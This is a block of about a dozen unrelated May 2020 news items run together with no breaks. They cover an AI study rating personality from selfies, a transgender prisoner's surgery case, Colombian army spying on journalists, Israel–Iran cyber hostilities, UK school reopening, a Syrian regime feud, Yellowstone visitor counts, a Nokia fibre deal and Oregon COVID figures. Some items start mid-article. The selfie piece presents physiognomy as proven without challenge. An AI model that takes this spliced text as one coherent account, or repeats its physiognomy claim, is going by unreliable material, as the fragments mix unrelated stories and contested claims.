A total of 12,000 volunteers uploaded 31,000 selfies in total an and these were split into two groups.

One was used to train the AI system and the other group was sued to test the network.

Researches from two Moscow universities, HSE University (Higher School of Economics) and Open University for the Humanities and Economics, say the artificial neural network outperforms an average human who is asked to rate a person's personality in person but without knowing anything else about the person.

The system could help bosses identify the most suitable job applicant, the researchers claim.

It may also improve selection of the 'best matches' for dating websites, customer service or online tutoring.

Co-author Dr Evgeny Osin said faces contain a significant amount of information about the person inside.

Pictured, the computer generated view of the most and least extroverted face based on the thousands of selfie it analysed. Research shows extroverts are happier - and more likely to have tattoos, for instance. Neurotics experience more mental health problems.

Pictures left, male and female faces which look least agreeable. On the right re images showing the computer-generated faces of people with the highest level of agreeableness

Neurotics experience more mental health problems. Pictured, the composite facial images showing the difference between the most and least neurotic faces

He said: 'The aid of artificial intelligence in making partner choices could help individuals to achieve more satisfying interaction outcomes.

'This study presents new evidence confirming that human personality is related to individual facial appearance.'

It's the strongest evidence to date that 'physiognomy'  assessing a person's character from their face  actually works.

The machine learning technique described fully in Scientific Reports.

Personality reveals the kind of lives we are likely to lead. A conscientious individual is prone to good physical health and more harmonious relationships.

Extroverts are happier - and more likely to have tattoos, for instance. Neurotics experience more mental health problems.

Open minded people command higher earnings and 'agreeable' types are popular and have lots of friends.

Dr Osin said: 'Our results demonstrate real-life photographs taken in uncontrolled conditions can be used to predict personality traits using complex computer vision algorithms.

'The advantage of our methodology is it is relatively simple - it does not rely on 3D scanners or 3D facial landmark maps - and can be easily implemented using a desktop computer.'
Ms. Edmo, who was convicted of sexually assaulting a sleeping 15-year-old boy, is scheduled to be released next year. She has been treated for gender dysphoria, the psychological distress caused by incongruence between experienced gender and that assigned at birth, with hormone therapy and counseling.

Image The prisoner, Adree Edmo, is scheduled to be released next year. Credit... Idaho Department of Correction, via Associated Press

A prison psychiatrist, Dr. Scott Eliason, denied her request for surgery notwithstanding two attempts by Ms. Edmo at self-castration. Ms. Edmo sued, saying that the failure to provide the surgery violated the Eighth Amendments ban on cruel and unusual punishment.

She won in the trial court and before a unanimous three-judge panel of the Ninth Circuit. It is no leap to conclude that Edmos severe, ongoing psychological distress and the high risk of self-castration and suicide she faces absent surgery constitute irreparable harm, the panel wrote in an unsigned opinion.

After the full Ninth Circuits refusal to rehear the case, Judge Diarmuid OScannlain, joined by eight other judges, wrote that the panel had put too much weight on standards published by the World Professional Association for Transgender Health, which he called a controversial self-described advocacy group that dresses up ideological commitments as evidence-based conclusions.

I do not know whether sex-reassignment surgery will ameliorate or exacerbate Adree Edmos suffering, Judge OScannlain wrote. Fortunately, the Constitution does not ask federal judges to put on white coats and decide vexed questions of psychiatric medicine.
Want to know who previously owned your historic home, who slept in it, how old it is, and what secrets it holds? Learn the most accurate ways to research your home's history as Robert J. Cangelosi Jr., an adjunct lecturer at the Tulane University School of Architecture, presents an in-depth program on historic home research through the Friends of the Cabildo from 9:30 a.m. to noon Saturday, May 23. It will be conducted by Zoom.

Cangelosi will outline how to use primary sources rather than oral traditions and secondary sources, which often are incorrect. That includes preparing a chain of title, the essential first step. The chain documents the ownership, which in theory, can be taken back to the early 1700s, during the French Colonial period.

Like history detectives, determining when improvements were done involves research into various records, including census, tax, water, building permits, contracts, city directories, newspapers and more. This program will explain how these records can be used and where to find them.

Tickets (click here) are $20 members of Friends of the Cabildo, $25 general. All ticket holders will receive a link to the meeting by email.

Also, coming up in June, Friends of the Cabildo sponsors an adult history class on neighborhoods of New Orleans with Dr. Charles Chamberlain. Dates are June 3, 10, 17 and 24, from 6-8 p.m. Tickets are $40 FOC members; $60 general.

Chamberlain will break down the development of the city chronologically from the French Quarter to the City of Jefferson to the expansive suburbs of Metairie and St. Tammany Parish. For more information, click here.
MIAMI  Illegal surveillance of journalists, judges, human rights activists and politicians from the opposition has re-emerged in Colombia. And Colombians are not the only ones affected.

Using United States taxpayer money earmarked to fight drug trafficking and guerrillas, the Colombian Army has carried out illegal espionage operations against Americans in Colombia. A few days ago, the magazine Semana disclosed copies of the files found in a search operation by army intelligence officers who had been illegally collecting information on the whereabouts and news sources of reporters from The New York Times, The Wall Street Journal and NPR, and on a prominent photographer who was in Colombia on assignment for National Geographic.

A forensic report by Colombias Office of the Inspector General found photographs and reports on contacts, places of residence, social media activity and the movements of American journalists and dozens of Colombian reporters, including myself, on an intelligence sergeants desk. The files also contain information on human rights defenders, politicians from the opposition and the military.

The intelligence units involved have received aid from the U.S. government in the form of technology and cash, intended to reduce cocaine trafficking from Colombia, the worlds leading supplier of the drug. However, a significant portion of those resources was diverted to illegally collect intelligence on journalists, human rights activists and politicians.
Hacked websites in Israel, a reported cyberattack in Iran and a Twitter war between their leaders: the arch foes' animosity is flaring up online.

The latest volleys in Israel and Iran's longstanding rivalry coincide with the 20th anniversary of the Israeli army's withdrawal from southern Lebanon, forced out by Iranian-backed militant group Hezbollah.

They also come before Jerusalem Day on Friday, which often sees increased tensions.

While Israelis celebrate their 1967 capture of the eastern part of the holy city, Iran commemorates the day with events marking Palestinian and Muslim connections to the holy city, expounding its opposition to Zionism -- the founding ideology of Israel.

"We will support and assist any nation or any group anywhere who opposes and fights the Zionist regime," Iran's supreme leader Ayatollah Ali Khamenei tweeted Wednesday.

He called for the "defence" of Palestinians and for "thugs like (Israeli Prime Minister Benjamin) Netanyahu" to be overthrown.

"The nature of the Zionist regime is incompatible with peace, because the Zionists seek to expand their territories," he added.

Netanyahu blasted Khamenei in a response on Twitter on Wednesday night.

"He should know that any regime that threatens Israel with extermination will find itself in similar danger," the Israeli premier wrote on his official account in Hebrew.

The lead-up to Jerusalem Day also saw a poster go up on Khamenei's website, proclaiming that "Palestine will be Free", with the tagline "The final solution: Resistance until referendum".

An accompanying post explained that a plebiscite could decide "the government to rule over the land of Palestine".

Iran's Foreign Minister Mohammad Javad Zarif shot back at Netanyahu on Thursday.

"Disgusting that those whose civilization found a 'Final Solution' in gas chambers attack those who seek a real solution at the ballot box, through a REFERENDUM," he tweeted.

"Why are US and West so afraid of democracy?"

US Secretary of State Mike Pompeo slammed Khamenei's "disgusting and hateful anti-Semitic remarks", while a German foreign ministry source said "such anti-Israeli statements are absolutely unacceptable. Israel's right to exist is non-negotiable".

The morning after the Twitter barbs, Israelis woke to a series of cyberattacks targeting websites of businesses, municipalities and NGOs with a message in Hebrew and English: "the countdown to the destruction of Israel began long ago".

An accompanying link led to a video showing Israeli commercial capital Tel Aviv in flames, with the words "be ready for a big surprise".

There were no immediate details on the group that claimed the attack, naming itself in English "Hackers of Saviour".

Earlier this week, The Washington Post reported Israel had launched a cyberattack against the Iranian port of Shahid Rajaee, located on the Strait of Hormuz, a vital route for international oil traffic.

This attack was thought to be in retaliation for a cyberattack against civil hydraulic installations in Israel.

Israeli authorities have not confirmed either attack, but allowed doubt to linger through indirect and sometimes metaphorical language.

"The Iranian octopus is sending its tentacles to grab us from every direction," outgoing Defence Minister Naftali Bennett said this week.

"We must increase the diplomatic, economic, military and technological pressure, and act in other dimensions as well."

The next day, army chief Aviv Kohavi said: "We are preparing varied means and unique combat techniques to mortally harm the enemy."

The attacks, if confirmed, add a cyber dimension to a series of Israeli air strikes targeting Iranian interests in Syria.

Tehran supports Syrian President Bashar al-Assad's regime and has backed it militarily.

Israel has launched hundreds of strikes in Syria since the start of the civil war in 2011, targeting Syrian government troops as well as allied Iranian forces and Hezbollah fighters.

On Thursday, the Israeli army said it had detected a desire among Iranian forces to withdraw somewhat from the front lines in Syria, putting it down in part to the coronavirus pandemic and economic crisis in Iran.

"The main thing we see on the ground is a general vector of withdrawal... not massive, but a general posture of withdrawal," the army said.

But, it added, "the Iranians are definitely trying different additional ways to engage with Israel."
As teaching unions lock horns with officials, it's easy to forget the schools that have quietly risen to the challenge  and the solution is as simple as a 'bubble'.

Caldicotes Primary Academy in Middlesbrough has seen around 20 key workers' children and vulnerable youngsters come in to school every day for the last nine weeks of the lockdown.

Head teacher Helen Steele said the children were happily socially distancing within days, after staff developed a system of 'bubbles'  classes of up to 15 pupils, with two members of staff responsible for their care.

They are adhered to from the moment children arrive until home time.

Caldicotes Primary Academy in Middlesbrough which is coping well with restrictions placed on it from coronavirus. This picture shows learning taking place in one of the classrooms which has been adapted for social distancing

'We introduced social distancing on a Monday and by the Wednesday the children were used to it,' Mrs Steele said.

'Obviously they are young children and they need comfort, but there are so many ways we can make sure they get that. I'm most concerned about their wellbeing and so are my staff.'

When the Daily Mail visited this week, Year 5 pupil Samuel was learning Spanish at his desk two metres from Leo, working on his Year 3 maths.

Their bubble had five children in it, while another bubble of 12 was at work in a classroom down the hall.

Mrs Steele, whose school is part of Academies Enterprise Trust, Britain's second largest chain, is looking forward to when more of her pupils return.

She said: 'These children generally do not get another chance in life so we want to be there for them. Fundamentally, I can't wait to get them back.

'The unions have a responsibility to their members  a lot of the questions they are asking are the same as the ones I have been. But we have worked out solutions.'

This picture shows socially distanced play at break time at Caldicotes Primary Academy in Middlesbrough

Pupils hit for rest of their lives

By Josh White and Kate Pickles

School closures could cause a lifelong 'shock' to children's future prospects, Government scientists have warned  but unions fighting plans to reopen last night refused to budge.

The Scientific Advisory Group on Emergencies (Sage) believes the classroom shutdown could affect 'educational and work outcomes for the rest of their lives', papers released yesterday show.

The claim is contained within a series of documents detailing Sage's advice to the Government, published in a bid to convince teaching unions to drop their opposition to reopening schools on June 1.

This picture shows teacher Katie Pounder with year 3 student Harley at Caldicotes Primary Academy in Middlesbrough

But the documents show Sage believes track and trace must be in place before schools do reopen, heaping pressure on the No10.

In one paper on 'wider impacts of current and possible interventions on children', the scientists state: 'A cohort of children have experienced a shock to their education which will persist and affect their educational and work outcomes for the rest of their lives.'

They also suggest that the lockdown may lead to an increase in 'adverse childhood experiences'  such as domestic violence or child neglect  and is likely to 'exacerbate social inequalities'.

The papers were released as a major review found children were half as likely as adults to catch Covid-19, with lead scientists saying the results pointed 'strongly towards a return to school'.

Father loses bid to keep girls home A father has lost a legal battle with his ex-wife after she sent their two girls back to school. The woman, a key worker, and the man had been sharing custody during lockdown, with the girls, aged ten and eight, spending one week with each. Last week the mother returned to work and sent her daughters back to school. The father, who cannot be named for legal reasons, objected on safety grounds. The woman then applied to Portsmouth Family Court for the custody arrangements to be amended so she could ensure the girls attended, and this week a judge agreed to the move, giving her primary custody. The father said: 'I was horrified. I would have hoped a family court judge would put the children's safety first.' Advertisement

Researchers at University College London found that under-20s were 56 per cent less likely to contract coronavirus, concluding that 'children are the safest group to be out in the community'.

Boris Johnson wants primaries in England in Reception, Year 1 and Year 6 to go back to class from a week on Monday, with others to follow in a 'phased' restart.

Sage also suggested that younger teachers' attendance could be prioritised in order to decrease the likelihood of infection for staff in more vulnerable groups.

Ministers were told that the research on how likely children are to transmit Covid-19 is still unclear, with the document stating: 'Evidence remains inconclusive on both the susceptibility and infectivity of children, but the balance of evidence suggests that both may be lower than in adults.'

Parents are divided over the decision to return to school, with a poll for ITV News last night suggesting that more than half would not send their children back before the end of the academic year.

Chief scientific adviser Sir Patrick Vallance yesterday said reopening was likely to push the virus' reproduction 'R-rate' up. He said: 'The risk for children is much lower. They are at low risk  but not zero risk.'

Resistance to the reopening, led by the hardline National Education Union and some councils, has left parents in the dark as to whether it will indeed go ahead. Sage also believes there is still some risk if reopenings are mishandled.

One recent paper notes that if the virus 'reproduction number is only just below 1, then even a small change could lead to a return to exponential growth'.

In one document, Sage appeared to favour rotating pupils between different weeks, which Government sources say is unworkable.

Last night the NEU accused the Government of a 'cavalier attitude towards the nation's children'.

Their refusal to get behind the proposals could cause chaotic reopenings of different schools at different times  or even a humiliating climbdown by the Government.

Last night Dr Mary Bousted, Joint General Secretary of the NEU, said: 'We are surprised that the wider opening of schools proposed by Boris Johnson has not been modelled by Sage.

'This points to a cavalier attitude towards the nation's children.' She said the PM was expecting schools 'to take a leap of faith with him'.

Dr Patrick Roach, General Secretary of NASUWT, the UK's secondlargest teaching union, added that the papers were 'inconclusive'.

'The NASUWT remains of the view that no school should reopen until it can be demonstrated that it is safe to do so', he said.

Paul Whiteman, general secretary of heads' union NAHT, said: 'Support for a fixed date for school return is vanishing quickly'.

It came as a group of scientists who have set themselves up as an 'independent Sage' claimed it would be 'dangerous' for schools to reopen on June 1.

The committee, formed by former chief scientific adviser Sir David King, said delaying reopening by two weeks would halve the risk.

Sir David said: 'By going ahead with this dangerous decision, the Government is further risking the health of our communities and the likelihood of a second spike.'

The Sage dossier was released as a separate study from UCL concluded the risk of death or severe infection for children was 'exceptionally low'.

Russell Viner, professor of adolescent health at UCL Great Ormond Street's Institute of Child Health, said: 'The balance of risks, I think, sits strongly towards a return to school, given the very clear evidence of harm due to lockdown.'

A Department for Education spokesman said: 'Advice from Sage shows there is a lower overall risk from opening schools and nurseries to younger children.

'This cautious, phased approach ... has been, and will continue to be, informed by the best possible scientific and medical advice.'

Pupils' grades face being changed

By Richard Marsden

Grades awarded to pupils in place of exam results will be changed to reflect national standards, exam chiefs have revealed. Schools and colleges are 'highly likely' to have some of the grades  awarded by teachers based on youngsters' past performance  'adjusted'.

Ofqual, which regulates GCSEs, A-levels and vocational qualifications, says this is to 'make sure grades are as fair as possible'.

The organisation said grades awarded by schools and colleges would be reviewed by considering each institution's performance against national guidelines.

But unions are worried that the plans may unfairly hit disadvantaged pupils.

In a state ment, Ofqual said: 'Such adjustments are in the interests of fairness to all students because they will ensure, as far as possible, that individual centres have not been too severe or too generous in comparison with other centres.'

Ofqual is also consulting on plans to offer a full range of exams to pupils in the autumn for those who are unable to receive a calculated grade or want to re-sit an exam.

A full series of AS and A-level exams are likely to take place in October and GCSE exams in November.

This is subject to consultation with students and school and college leaders over the coming weeks.

Ofqual is proposing to 'offer the full suite of papers as are normally offered in other summer exam series'.

It is consulting until June 8 about its proposals for how calculated grades should be determined.

It wants grades to be based on previous exam performance, with the exception of art and design subjects. Ofqual said proposals to award calculated grades have been supported by 82 per cent of the 12,623 respondents so far.

But University and College Union general secretary Jo Grady said: 'We are disappointed that more has not been done to recognise the impact that these changes will have on disadvantaged students.

'Without action, these groups are likely to be even more underrepresented.'

Bill Watkin, chief executive of the Sixth Form Colleges Association, said while Ofqual had 'set out the fairest possible way' to award grades, there will still be 'winners and losers this year because no one system can meet the needs of every centre and every young person'.

Commenting on the plans for autumn exams, Geoff Barton, general secretary of the Association of School and College Leaders, raised concerns about the practicalities of hosting a full exam season 'on top of everything else they will have to do as a result of the current crisis'.

Sally Collier, chief regulator for Ofqual, called for students, teachers, lecturers and institutions to give their views in the consultation.
Israeli girls have been going to school this week wearing shorts, protesting several incidents where female students in shorts were banned from entering school premises. The protest spread also on social media, with numerous Facebook pages dedicated to the protest.

On May 17, the government reopened high schools, after weeks of closure over the coronavirus outbreak. The reopening coincided with one of the harshest heatwaves the country has ever known. Temperatures in central Israel reached 104 degrees Fahrenheit and more in some places. The Israel Meteorological Service issued May 16 a heatwave warning for the entire week, stating that high temperatures would affect the country during both day and night. A few bushfires broke out in the north of the country. And though many education institutions in Israel are equipped with air conditioners, schools were instructed to advise students to stay in the shade and drink lots of water.

Still, despite the sweltering heatwave, several girls at a school in the Tel Aviv suburb of Raanana were sent home for wearing shorts.

The decision to send the girls home sparked anger among students and parents, with female students claiming that boys can come to school in shorts. For them, this was a clear case of gender discrimination and even of religious principles imposed on the secular school system.

The rising anger encouraged many other girls to come to school wearing shorts, and groups of girls in shorts posted group photos on social media networks. On May 19, dozens of schoolgirls from the Hefer Valley Regional Council arrived to school wearing shorts in protest. The school management banned them from entering the campus. But by May 20, these short-wearing initiatives turned into a wave of protests that swept across the country, with shorts-sporting girls in high schools and middle schools demanding equality in dress code, especially during heatwaves. Girls in Kfar Saba, Modiin, Lod and many other towns were wearing shorts to school.

The short rebellion was aggravated by another incident that occurred May 18, involving a 7-year-old girl in a school in Petah Tikva in central Israel. The second-grader arrived at school in a sleeveless dress. Shortly after her entering her class, a teacher demanded that she change her attire and gave her a T-shirt, but no pants. The frightened girl took off her dress staying in her underwear for the entire school day.

Labor Knesset member Merav Michaeli, known for her longstanding battle for gender equality causes, posted a video clip on her Twitter account, encouraging the protests of the girls: "Today I want to applaud all of these courageous girls who dared coming to school with their legs [showing]. Yes. This was a courageous act.  They stood together and insisted on their basic right to come to school with their legs [showing]. Boys also came with their legs [showing], but this was quite OK for the female teachers and headmasters who chose to punish just the girls."
A former Syrian Prime Minister, a critic of the Assad regime, has spoken out about the recent dispute between Assad and Makhlouf and what it might mean for the country reports Baladi News.

Riyad Hijab, a former Prime Minister of Syria and former Chairman of the Higher Negotiations Commission (HNC), has commented on the spat between Bashar al-Assad and his cousin Rami Makhlouf, revealing that the two telecoms companies in Syria are public Syrian property and not privately owned, and that the family dispute extents to Asmaa al-Akhras and Maher al-Assad.

In a series of tweets, Hijab wrote that, Bashar is advocating for the application of the constitution and the law, and Rami Makhlouf is advocating for the poor, and the words of both men are lies even if they are being sincere, as Syriatel belongs to the Syrian people and is publicly owned by the state, rather than privately owned.

He added that Makhloufs corruption grew, as a result of policies to raise government support and liberalize the economy (in 2005), which led to the impoverishment of Syrians and formation of a class around Bashar al-Assad. This represented a front for his own private interests, especially in Cham Holding, Syriatel and MTN, the free markets and other sectors in which Bashar al-Assad has the largest share.

Hijab wrote that Bashar al-Assad endowed his financial affairs, with great secrecy, assigning Rami Makhlouf and his father Muhammad the task of managing his finances and handing them the largest portion of the oil contract that went to his private accounts as well as the account of his wife Asmaa al-Assad, who was profiting from state funds and supporting corrupt personalities handed over by Cham Holding.

In his tweets, Hijab wrote about the two telecom companies Syriatel and MTN, which are the point of dispute between Makhlouf and the regime, revealing that, when the deadline neared for handing over ownership of the two companies to the state, [Bashar al-Assad] surprised me when he requested their contracts be transferred in order to lease contracts for 35 billion Syrian pounds, because he wanted to keep them under the authority of Makhlouf, representing a front for his personal interests.

In light of that strange request, two committees were formed, one headed by the Minister of Finance and the other by the Minister of Communications. The finance minister presented a report confirming that the state would lose around 5 billion dollars if the two companies were converted to lease contracts, so this was not carried out. But it was subsequently carried out by the government of Wael al-Halqi.

He wrote that the existing dispute reflects the disintegrating inner circle around Bashar al-Assad, adding that those close to the palace had expressed to him their displeasure over the Makhlouf familys control over Assad, as well as Assads support for them to hold so much sway over the Syrian economy and move a large portion of their wealth abroad for protection. Rami is just a front for the group affected by the latest measures, most notably Bashar al-Assads uncle Muhammad Makhlouf and Muhammads other son Hafez, as well as Adnan Makhlouf, the former commander of the Republican Guard, and a number of other palace figures who have long dominated the Syrian security services, military and economy.

Hijab also wrote that in addition to the ongoing dispute between Asmaa al-Akhras and Rami Makhlouf, there are other disputes behind the scenes between Asmaa, Maher al-Assad and his wife Manal Jadaan, as well as clashes between businessmen affiliated with the Assad, Makhlouf and Shalish families, which explains the bout of arrests, lockdowns and travel bans.

This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
However, District Attorney Steve Kunzweiler, who tried the case with Assistant District Attorney Mark Collier, said he did not find Barnetts comments to the judge expressing remorse deep or sincere. If Barnetts appeal is unsuccessful, he will be in at least his mid-60s when he becomes eligible for parole because the felony assault charge is an 85% crime.

It was apparent to me that despite the passage of time from the jurys verdict until today, not much sank in, Kunzweiler said. As he did in trial, he made it all about himself. I asked the court to give him every day of the 32 years that the jury recommended, and the court followed their sentence.

In Barnetts March trial, Collier told jurors they were a centimeter away from hearing a murder case because the positioning of the process servers left elbow when he was shot saved him from receiving a bullet wound to his chest.

The process server read a victim impact statement in court Friday morning in which he said he was shot and nearly killed for simply doing my job. He said the injury means he can no longer help his mother with housework or play with his son, and that he still struggles to sleep due to pain.
Visitors leaving the Old Faithful boardwalks after an eruption Opening Day NPS/Jacob W. Frank

May 21, 2020

Contact: Morgan Warthin, (307) 344-2015

May 18 2019 2020 Difference East Entrance 478 504 105% of 2019 South Entrance 910 542 60% of 2019 Total 1,388 1,046 75% of 2019

May 19 2019 2020 Difference East Entrance 585 502 86% of 2019 South Entrance 825 584 71% of 2019 Total 1,410 1,086 77% of 2019

May 20 2019 2020 Difference East Entrance 546 307 56% of 2019 South Entrance 876 395 45% of 2019 Total 1,422 702 49% of 2019

MAMMOTH HOT SPRINGS, WY  Yellowstone National Park reopened two (east and south) of five entrances on Monday, May 18, following Phase 1 of its reopening plan (read more in the May 13 news release ).Visitation through the first three days of operations was 90% of normal through the East Entrance (near Cody, WY) and approximately 60% of normal through the South Entrance (near Jackson, WY). Vehicle counts per day are broken down below. The park expects traffic and visitation levels to grow over the Memorial Day Weekend.Last year, with all five entrances open on these same dates, there were 5,022 cars in the park on May 18, 4,880 cars in the park on May 19, and 4,723 cars on May 20. It is estimated over the past three days, there is less than 20% of the normal traffic volume in the park compared to when all five entrances are open at this time of year.Overall, the Old Faithful boardwalk was one of the busiest sections of the park in the first three days of operations. A mix of compliance and non-compliance with social distancing was observed by park staff. Most families and groups traveling together were not socially distanced, as would be expected. Clear separation between these groups was observed in many cases, but not all. Masks are not required but are highly recommended in the park especially when social distancing is not possible. Park staff observed limited use of masks in outdoor areas. Photos from opening day are available on the parks Flickr page Our number one priority is to keep our employees safe by implementing creative mitigation measures and following CDC guidance. The park has spent approximately $136,000 on COVID-19 mitigation over the past weeks: nearly $30k for personal protective equipment (PPE) (N-95 masks, Tyvek suits, face shields, regular masks, and gloves); nearly $50k for new electrostatic disinfectant sprayers to more effectively and expeditiously clean restrooms and facilities; $20k for facial coverings and thermometers; $16k for visitor center and entrance station mitigation (plexiglass shields, stanchions, other); and nearly $20k for signage. The park has another $40k pending in backordered charges for additional PPE and mitigation equipment.The park is working closely with the Governor of Montana to set an opening date for the Montana entrances (west, north, and northeast). The governor has announced an intent to lift out-of-state travel restrictions on June 1. The park and state will announce a target date for opening Montana entrances soon.Overall, the first three days of operations have gone smoothly, especially with the very reduced amount of visitation in the park. I expect these numbers to go up significantly in the next few weeks.We have put substantial mitigation in place and our measures will continue evolving daily. However, to visitors intending to visit Yellowstone: If you are not comfortable being in places where other visitors are not wearing masks, I suggest one of two things: 1) plan your visit for another time and dont come to the park now; or 2) dont put yourselves in situations where youre around visitors who are not following health recommendations.We expect the public to partner with us to protect each other. While we are taking many actions to mitigate health concerns, including widespread messaging, signage, and direct public interface, the National Park Service in Yellowstone will not be actively telling citizens to spread out and put masks on, especially outdoors. While we recommend it, per CDC guidelines, primarily in areas where social distancing cannot be adhered to, we will not be enforcing the wearing of masks in outdoor areas. Once facilities begin to open, the park will evaluate more rigid guidelines on social distancing and facial coverings indoors.The decision to reopen Yellowstone is not and has not been a unilateral decision. These decisions are being made in close concert with our state and local partners, including health officials, and with support from the Department of the Interior and the National Park Service. We have implemented a reopening plan that is limited in nature. It gives us time to observe and make adjustments, expand operations if conditions are favorable, and contract them if they are not. We welcome realistic feedback on how we can continue improving our reopening strategy while working together to maintain the safety for our employees and visitors. Keeping Yellowstone closed is not a viable strategy.
Nokia fiber solution enables Openreach to significantly extend its full fiber network capacity and coverage

New fiber access network capable of delivering multi-Gigabit speeds to customers

Openreach FTTH network is delivering economic and environmental benefits to the UK

21 May 2020

Espoo, Finland  Nokia today announced that Openreach will deploy its fiber solutions to help meet its target of bringing ultra-fast and reliable broadband access to 20 million homes across the UK by the mid-to-late 2020s. The fiber rollout with Nokia underpins Openreachs commitment to build a world-class, secure broadband network that can deliver differentiated customer experiences and provide a platform for the UKs economic recovery, post Covid-19.

Openreach is focused on extending its fiber networks to better meet evolving consumer demands, support society in unforeseen crises and help socio-economic growth. A nationwide fiber-to-the-home network has the potential to provide a 59 billion boost to UK productivity by 2025i. It can also enable 400,000 more people to work from home, allow 125,000 parents with dependent children the opportunity to re-enter the workforce and help to reduce greenhouse emissions.

The rollout with Nokia focuses on deploying GPON and XGS-PON fiber access technologies to expand Openreachs fiber-rich network to reach 4.5 million premises by the end of March 2021. Its also capable of delivering up to 10Gb/s symmetrical broadband speeds in the future, in areas where demand for additional capacity is required. Nokias solution supports a smooth evolution from current traditional deployments to virtualized access-network control and management (SDAN  Software Defined Access Networking) by software upgrade.

The agreement is another key milestone in Nokias extensive partnership with Openreach to deliver multi-Gigabit, next generation PON connectivity to customers and builds on an extensive end-to-end network framework that has been established over the past years. This includes G.fast technology which currently allows Openreach to offer 100s Mb/s to homes in areas where fiber is not available yet.

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Clive Selley, CEO of Openreach, said: Were accelerating our full fibre build to deliver an ultrafast, ultra-reliable and futureproof broadband network throughout the UK. This new digital platform will help our economy to bounce back more quickly from the Covid-19 pandemic  enabling people to continue work from home, and millions of businesses to operate seamlessly online for decades to come. Right now, were making the new network available to around 32,000 homes and businesses every week, and Nokias innovative solutions are helping us to build it better, broader and faster. Our partnership with Nokia will be critical in helping us to upgrade the nation and hit our target of reaching four and a half million premises by the end of March 2021.

Peter Bell, Network Technologies Director, Openreach CTIO said: Nokia is already making a major contribution to Openreachs Fibre-to-the-Premises rollout, including in the build of our first fully fibred city, Salisbury. Were confident that Nokia will continue to be a strong partner in helping us meet our ambition throughout the UK.

Sandra Motley, President of Fixed Networks at Nokia said: Ensuring everybody has access to broadband services is critical, especially during unprecedented times like these where it has become the lifeline to millions working, handling healthcare and learning from home. Our fiber solutions will help Openreach bring enhanced ultra-broadband services to millions of new customers across the UK today while our 10G PON technology will help to futureproof their network against whatever may come next.

About the solution

Openreach will deploy the Nokia fiber access solution which includes 7360 ISAM FX, Nokia 7362 ISAM DF and Nokia ISAM ONTs.

About Nokia

We create the technology to connect the world. Only Nokia offers a comprehensive portfolio of network equipment, software, services and licensing opportunities across the globe. With our commitment to innovation, driven by the award-winning Nokia Bell Labs, we are a leader in the development and deployment of 5G networks.

Our communications service provider customers support more than 6.4 billion subscriptions with our radio networks, and our enterprise customers have deployed over 1,300 industrial networks worldwide. Adhering to the highest ethical standards, we transform how people live, work and communicate. For our latest updates, please visit us online www.nokia.com and follow us on Twitter @nokia

Media Inquiries:

Nokia

Communications

Phone: +358 10 448 4900

Email: press.services@nokia.com

About Openreach

Openreach Limited is the UKs digital network business.

Were 35,000 people, working in every community to connect homes, schools, shops, banks, hospitals, libraries, mobile phone masts, broadcasters, governments and businesses  large and small  to the world.

Our mission is to build the best possible network, with the highest quality service, making sure that everyone in the UK can be connected.

We work on behalf of more than 620 communications providers like SKY, TalkTalk, Vodafone, BT and Zen, and our fibre broadband network is the biggest in the UK, passing more than 27.5m UK premises.

Over the last decade weve invested more than 14 billion into our network and, at more than 185 million kilometres  its now long enough to wrap around the world 4,617 times.

Today were building an even faster, more reliable and future-proof broadband network which will be the UKs digital platform for decades to come. Were making progress towards to our FTTP target to reach 20m premises by mid-to-late 2020s. Weve also hired over 3,000 trainee engineers this past financial year to help us build that network and deliver better service across the country.

Openreach is a highly regulated, wholly owned, and independently governed division of the BT Group. More than 90 per cent of our revenues come from services that are regulated by Ofcom and any company can access our products under equivalent prices, terms and conditions.

For the year ended 31 March 2020, we reported revenue of 5.1bn.

For more information, visit www.openreach.co.uk.

Email: press@openreach.co.uk









i According to research by the Centre for Economics and Business Research - https://www.openreach.com/content/dam/openreach/openreach-dam-files/images/hidden-pages/full-fibre-impact/CebrReport_online.pdf






The Oregon Health Authority on Thursday reported one new death from the novel coronavirus, raising the states toll to 145 people, as known cases climbed to 3,817.

A 93-year-old Polk County woman who tested positive for the virus May 2 was the latest Oregonian to succumb to the illness, the health authority said. She died Wednesday at her residence.

In the last 24 hours, state health officials reported 24 new confirmed coronavirus cases and no new presumptive cases. They were linked to eight of Oregons 36 counties: Coos (1), Deschutes (1), Jefferson (1), Malheur (3), Marion (4), Multnomah (8), Umatilla (3), Washington (3).

Coronavirus in Oregon: Latest news | Live map tracker |Text alerts | Newsletter

The overall 3,817 case count includes 3,725 positive test results and 92 presumptive cases.

Death toll: People have died from the virus in 12 counties: 57 people from Multnomah, 24 from Marion, 17 from Washington, 10 from Polk, nine from Clackamas, nine from Linn, seven from Yamhill, five from Benton, three from Umatilla two from Lane, one each from Josephine and Wasco.

Their ages ranged from 41 to 100. Among those who have died, 62 were women and 83 were men.

[Read about Oregon coronavirus deaths. Help us learn more.]

County case totals: Seven counties -- Multnomah, Marion, Washington, Clackamas, Linn, Deschutes and Umatilla -- have reported 100 coronavirus cases or more. Gilliam, Lake and Wheeler have yet to document a single coronavirus case.

Heres the overall count -- confirmed and presumptive cases -- by county: Baker (1), Benton (55), Clackamas (284), Clatsop (42), Columbia (16), Coos (31), Crook (1), Curry (5), Deschutes (117), Douglas (25), Grant (1), Harney (1), Hood River, (12), Jackson (52), Jefferson (25), Josephine (25), Klamath (41), Lane (66), Lincoln (8), Linn (110), Malheur (24), Marion (882), Morrow (12), Multnomah (1,026), Polk (94), Sherman (1), Tillamook (6), Umatilla (107), Union (6), Wallowa (1), Wasco (18), Washington (659) and Yamhill (63).

Testing: Another 3,083 people received coronavirus test results, up from the previous days 2,498, according to figures published on the health authoritys website.

So far, 105,132 Oregonians have been tested for the illness since the state confirmed its first case on Feb. 28.

Ages: Of the states confirmed and suspected coronavirus cases, 2,066 people, or 54%, are under age 50, state figures show. Another 566, or 15%, are 70 and older.

Heres the breakdown: ages 0-9 (46), ages 10-19 (142), ages 20-29 (572), ages 30-39 (649), ages 40-49 (657), ages 50-59 (669), ages 60-69 (515), ages 70-79 (336), ages 80-plus (230).

Gender: So far, 2,003 of the cases are among women, or 52%, and 1,809, or 47%, are among men. But more men have died: 83 compared to 61 women.

Hospitalizations: At least 732 of the states COVID-19 patients, or 19%, have been hospitalized at some point during their illness, according to the health authority. Currently, 51 people with confirmed coronavirus cases are hospitalized, including 27 in intensive care and 12 on ventilators.

Senior care homes: Six out of 10 coronavirus deaths in Oregon  a total of 83  are associated with a care center, the most recent state data show. At least 545 senior care home residents, staff and close contacts from 64 nursing, assisted and retirement homes had contracted the coronavirus.

